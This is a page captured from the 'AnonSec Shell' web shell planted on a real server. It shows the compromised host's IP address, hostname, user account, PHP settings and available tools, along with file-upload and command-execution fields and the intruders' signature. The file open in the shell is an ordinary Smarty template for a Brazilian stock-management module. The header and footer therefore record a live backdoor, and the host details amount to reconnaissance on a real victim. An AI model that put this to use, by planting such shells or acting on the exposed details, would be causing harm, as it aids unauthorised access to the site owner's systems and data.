AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/dialogo/application/plugins/module_stock/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/dialogo/application/plugins/module_stock/views/item.tpl
<div class="modal-dialog" role="document" id="ins_release" style="display: none;">
	<div class="modal-content">
	  <div class="modal-header">
	    <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
	    <h4 class="modal-title" id="a">{$_L['Stock release']}</h4>
	  </div>
	  <div class="modal-body">
	    <form class="form-group" method="post" id="addForm">
			<div class="row">
                            <input type="hidden" id="moduleFish" value="{$moduleFish}">
                            <div class="col-md-12   {if $moduleFish==false}hide{/if}">
                                <label for="crm_accounts_id"> {$_L['Associated']}  *</label>
                                <select  id="crm_accounts_id"  name="crm_accounts_id"  style="width:100%" class="form-control associated_select">
                                </select>
                            </div>
                            
                            <div class="col-md-4 form-group">
					<label for="type_release">{$_L['Type']} *</label>
					<select id="type_release" name="type_release" class="form-control">
						<option value="entry">{$_L['Entry']}</option>
						<option value="out">{$_L['Out']}</option>
					</select>
				</div>
				<div class="col-md-4 form-group">
					<label for="date_release">{$_L['Date']} *</label>
					<div class="input-group">
						<input type="text" name="date_release" id="date_release" class="form-control datepicker" datepicker>
						<span class="input-group-btn">
							<button type="button" class="btn btn-default"><i class="fa fa-calendar"></i></button>
						</span>
					</div>
				</div>
				<div class="col-md-2 form-group">
					<label for="time_release">{$_L['Time']}</label>
					<input type="text" class="form-control" id="time_release" name="time_release">
				</div>
				<div class="col-md-2 form-group">
					<label for="lote">{$_L['Lote']}</label>
					<input type="text" class="form-control" id="lote" name="lote">
				</div>
			</div>
			<div class="row">
				<div class="col-md-4 form-group">
					<label for="qty_release">{$_L['Quantity']} *</label>
					<input type="text" class="form-control" id="qty_release" name="qty_release">
				</div>

				<div class="col-md-4 form-group lancamentos">
					<label for="price_release">{$_L['Unit price']} *</label>
					<input type="text" class="form-control" id="price_release" name="price_release">
				</div>
                                        
                                <div class="col-md-4 form-group">
					<label for="due_date">{$_L['Due Date']} *</label>
					<div class="input-group">
						<input type="text" name="due_date" id="due_date" class="form-control datepicker" datepicker>
						<span class="input-group-btn">
							<button type="button" class="btn btn-default"><i class="fa fa-calendar"></i></button>
						</span>
					</div>
				</div>
			</div>
			<div class="form-group lancamentos">
				<label for="obs_release">{$_L['Observations']}</label>
				<textarea id="obs_release" name="obs_release" class="form-control" rows="2"></textarea>
			</div>
			<input type="hidden" id="id" value="{$id_item}" name="id">
			<input type="hidden" id="id_rels" value="" name="id_rels">
	  </div>
	  <div class="modal-footer">
	    <button type="button" class="btn btn-default" data-dismiss="modal">{$_L['Close']}</button>
	    <button type="button" class="btn btn-primary" onclick="ins_release();">{$_L['Save']}</button>
	  </div>
	</div>
	</form>
</div>

<input type="hidden" id="item_unidade" value="{$item_unidade}" name="item_unidade">
<input type="hidden" id="item_decimal" value="{$item_decimal}" name="item_decimal">

<div class="row">
    <div class="col-md-12">
        <div class="ibox">
            <div class="ibox-title">
                <h5>{$name}</h5>
            </div>
            <div class="ibox-content" id="ibox_form">

                <div class="head">
                    <form action="{$_url}{$smarty.get.ng}" method="post" id="filter-form">
                    <div class="row">
                        <div class="col-sm-12 col-xs-12">
                            <div class="btn-group">
								<a href="#" class="btn btn-primary includ" title="Incluir lançamento" id="btnIncluir"><i class="fa fa-plus"></i></a>
							</div>
                            <div class="btn-group">
								<a href="{$_url}module_stock/stock/list" class="btn btn-primary"><i class="fa fa-chevron-left"></i> {$_L['Back']}</a>
							</div>

							<div class="btn-group">
								<button class="btn btn-warning dropdown-toggle" data-toggle="dropdown"
										aria-haspopup="true" aria-expanded="false">
									<i class="fa fa-calendar"></i>
									{$_L['Period']}
									<span class="caret"></span>
								</button>
								<ul class="dropdown-menu dropdown-period dd-filter" style="width: 250px;" id="filter-period">

									<li role="separator" class="divider"></li>
									<li class="disabled">
										<div class="col-md-12">
											<label for="">{$_L['Interval']}:</label>
										</div>
									</li>
									<li>
										<div class="col-md-12">
											{$_L['Outset']}: <input type="text" class="form-control" name="ini" data-date-format="dd/mm/yyyy"
												value="{if isset($filters['ini'])}{implode('/', array_reverse(explode('-', $filters['ini'])))}{/if}" datepicker>
										</div>
									</li>
									<li>
										<div class="col-md-12">
											{$_L['End']}: <input type="text" class="form-control" name="end" data-date-format="dd/mm/yyyy"
												 value="{if isset($filters['end'])}{implode('/', array_reverse(explode('-',$filters['end'])))}{/if}" datepicker>
										</div>
									</li>
									<li>
										<div class="col-md-12"><br>
											<a id="period-filter-interval" class="btn btn-primary btn-xs" href="#">{$_L['Filtrate']}</a>
										</div>
									</li>
								</ul>
							</div>

							<div class="btn-group dropdown">
								<button id="dropdown-advanced" class="btn btn-primary dropdown-toggle"
										data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
									<i class="fa fa-random"></i>
									{$_L['Movement']} <span class="caret"></span>
								</button>
								<ul class="dropdown-menu dropdown-advanced dd-filter" style="width: 250px;" aria-labelledby="dropdown-advanced">
									<li role="separator" class="divider"></li>
									<li>
										<div class="col-md-12">
											<div class="form-group">
												<label>Tipos</label>

												<select name="type" id="type_movement" name='type' class="form-control">
													<option value="">{$_L['All']}</option>
													<option value="entry" {if isset($filters['type']) && $filters['type'] == 'entry'}selected="selected"{/if}>Entradas</option>
													<option value="out" {if isset($filters['type']) && $filters['type'] == 'out'}selected="selected"{/if}>Saídas</option>
												</select>
											</div>
										</div>
									</li>

									<li>
										<div class="col-md-12">
											<button id="advanced-filter" type="button" class="btn btn-primary btn-sm">{$_L['Filtrate']}</button>
											<a href=""> | {$_L['or Cancel']}</a><br>
										</div>
									</li>
								</ul>
							</div>

	

                        </div>
                        
                    </div>
                    <div class="row">
                        <div class="col-md-6 col-xs-12   {if $moduleFish==false}hide{/if}">
                            <label for="filter_crm_accounts_id"> {$_L['Associated']} </label>
                            <select  id="filter_crm_accounts_id"  name='crm_accounts_id'  style="width:100%" class="form-control associated_select">
                                {if not empty($crmAccounts)}
                                    {$crmAccounts}
                                {/if}
                            </select>
                        </div>
                    </div>     
                    <br/>
                    <div class="row">
                        <div class="col-md-12 ">
                            <a class="btn btn-danger" id="filter-clear" href="#">
                                <i class="fa fa-eraser"></i> {$_L['Clean Filter']}
                            </a>
                        </div>
                    </div>
                </form>
                </div>
                
                <div class="project-list mt-md">
                    <div id="progressbar"></div>

                    <div class="nav navopt">
                    	<div class="nav nav-tabs navbar-left" style="margin-top: 20px;">
                            <ul class="nav nav-tabs navbar-left">
                                <li style="border-bottom: 2px solid blue; font-weight: bolder;">{$_L['Releases']}</li>
                            </ul>
                        </div>
                        {*TODO: CORRIGIR O ERRO NO FILTRO DOS LAÇAMENTOS*}
                        {*<div class="nav nav-tabs navbar-right">
                            <ul class="nav nav-tabs navbar-right">
                                <li class="">
                                    <a href="#" class="list" id="any_dep">
                                        {$_L['General']}<span class="caret"></span>
                                    </a>
                                    <div class="lst any_dep">
                                        <div class="form-group">
                                            <label for="id_dep">{$_L['General']}</label>
                                            <select class="form-control filter-apply" id="id_dep" name="id_dep">
                                                <option value="0" selected="">{$_L['Any']}</option>
                                                <optgroup label="------------------"></optgroup>
                                                <option value="" selected="">{$_L['Geral']}</option>
                                            </select>
                                        </div>
                                    </div>
                                </li>
                                <li>
                                    <a href="#" class="list" id="periodo">
                                        <i class="fa fa-fw fa-calendar"></i> <span class="caret"></span>
                                    </a>
                                    <div class="lst periodo">
                                        <label>Período</label><br>
                                        <div class="btn-group btn-group-vertical">
                                            <div class="btn-group"><button type="button" class="btn btn-default item-per filter-apply active" id="opc-ultimos">Todos</button></div>
                                            <div class="btn-group"><button type="button" class="btn btn-default item-per" id="opc-mes">Do mês</button></div>
                                            <div class="btn-group"><button type="button" class="btn btn-default item-per" id="opc-periodo">Do intervalo</button></div>
                                        </div>
                                        <div id="div-mes" class="input-group form-group" style="">
                                            <span class="input-group-btn">
                                                    <button type="button" class="btn btn-default"><i class="fa fa-chevron-left"></i></button>
                                            </span>
                                            <input type="text" id="mes" name="mes" class="form-control">
                                            <span class="input-group-btn">
                                                    <button type="button" class="btn btn-default"><i class="fa fa-chevron-right"></i></button>
                                            </span>
                                        </div>
                                    </div>
                                </li>
                                <li>
                                    <a href="#" onclick="location.reload();" title="{$_L['Clean filters']}">
                                        <i class="fa fa-fw fa-eraser"></i> <span class="visible-xs-inline">{$_L['Clean filters']}</span>
                                    </a>
                                </li>
                            </ul>

                            <div class="clearfix"></div>
                        </div>*}
                    </div>
                    <div class="clearfix"></div><br><br><br>
                    <div id="application_ajaxrender">
                        <table class="table table-striped table-hover">
                            <thead>
                            
                                <tr><th style='width: 300px;'>{$_L['Date and time']}</th>
                                    {if $moduleFish} <td> {$_L['Associated']} </td> {/if}
                                    <th style='width: 50px; text-align: center;'>{$_L['Entry']}</th>
                                    <th style='width: 50px; text-align: center;'>{$_L['Out']}</th>
                                    <th style='width: 100px; text-align: center;'>{$_L['Lote']}</th>
                                    <th style='width: 100px; text-align: center;'>{$_L['Due Date']}</th>
                                    <th style='width: 200px; text-align: center;'>{$_L['Value']}</th>
                                    <th>{$_L['Observation']}</th>
{*                                    <th style='width: 200px; text-align: center;'>{$_L['Origin']}</th>*}
                                    <th style='width: 50px;'>&nbsp;</th></tr>
                            </thead>
                            <tbody id="tbody">
                            	{foreach $itemSelected as $item}
                                        {$num_decimal = 0}
                                        {if $item_decimal == 0}
                                            {$num_decimal = 2}
                                        {/if}
	                            	<tr>
                                            <td onclick="busca({$item['id']})" style="cursor:pointer;">{date('d/m/Y', strtotime($item['date']))} - {$item['time']}</td>
	                            		
                                              {if $moduleFish} <td onclick="busca({$item['id']})" style='cursor: pointer;'> {$item['account']} </td> {/if}
                                              
                                            {if $item['type'] === 'entry'}
	                            			<td onclick="busca({$item['id']})" style='text-align: center; cursor: pointer;'>{number_format($item['quantity'],$num_decimal,$config['dec_point'],$config['thousands_sep'])}</td>
	                            			{$qtdTotalIn=$qtdTotalIn + $item['quantity']}
	                            		{else}
	                            			<td onclick="busca({$item['id']})" style="cursor:pointer;">&nbsp;</td>
	                            		{/if}
                            
                                              
                            
	                                    {if $item['type'] === 'out'}
	                            			<td onclick="busca({$item['id']})" style='text-align: center; cursor: pointer;'>{number_format($item['quantity'],$num_decimal,$config['dec_point'],$config['thousands_sep'])}</td>
	                            			{$qtdTotalOut=$qtdTotalOut + $item['quantity']}
	                            		{else}
	                            			<td onclick="busca({$item['id']})" style="cursor:pointer;">&nbsp;</td>
	                            		{/if}
                                            
                                            <td onclick="busca({$item['id']})" style='text-align: center; cursor: pointer;'>{$item['lote']}</td>
                                            <td onclick="busca({$item['id']})" style="cursor:pointer;">{date('d/m/Y', strtotime($item['due_date']))}</td>
	                                    <td onclick="busca({$item['id']})" style='text-align: center; cursor:pointer;'>{number_format($item['unit_price'],2,$config['dec_point'],$config['thousands_sep'])}</td>
	                                    <td onclick="busca({$item['id']})" style='text-align: left; cursor: pointer;'>{$item['observation']}</td>
	                                    {if $item['type'] eq $_L['Balance item']}
{*	                            			<td onclick="busca({$item['id']})" style='text-align: center; cursor: pointer;'>{$_L['Balance item']}</td>*}
	                            			{$qtdTotalIn=$qtdTotalIn + $item['quantity']}
	                            		{else}
{*	                            			<td onclick="busca({$item['id']})" style="cursor:pointer;">&nbsp;</td>*}
	                            		{/if}
	                                    <td><button class='btn btn-xs btn-primary' title="Remover" type="button"><i class="fa fa-fw fa-remove" onclick="remov_lanc({$item['id']})"></i></button></td></tr>
	                                    <!--{$qtdReleases++}-->
                            	{/foreach}
                            </tbody>
                        </table><br>
                        <!-- <table class="end_stock" align="right">
                        	<tr><td style='text-align: center; width: 150px; font-weight: bolder; font-size: 18px;border-right: 1px solid black;'>{$qtdReleases}</td>
                        		<td style='text-align: center; width: 120px; font-weight: bolder; font-size: 18px;border-right: 1px solid black;'>{number_format($qtdTotalIn,2,$config['dec_point'],$config['thousands_sep'])}</td>
                        		<td style='text-align: center; width: 120px; font-weight: bolder; font-size: 18px;border-right: 1px solid black;'>{number_format($qtdTotalOut,2,$config['dec_point'],$config['thousands_sep'])}</td>
                        		<td style='text-align: center; width: 170px; font-weight: bolder; font-size: 18px'>{number_format($qtdTotalIn-$qtdTotalOut,2,$config['dec_point'],$config['thousands_sep'])}</td>
                        	</tr>
                        	<tr><td style='text-align: center; border-right: 1px solid black;'>{$_L['Releases']}</td>
                        		<td style='text-align: center; border-right: 1px solid black;'>{$_L['Entrys']}</td>
                        		<td style='text-align: center; border-right: 1px solid black;'>{$_L['Outs']}</td>
                        		<td style='text-align: center;'>{$_L['Currency balance']}<td>
                        	</tr>
                        </table> -->
                        <div class="clearfix"></div>
                    </div>
                </div>
             </div>
        </div>
    </div>
</div>


{include file="{$dir}/views/bottom_bar.tpl"}

Anon7 - 2022
AnonSec Team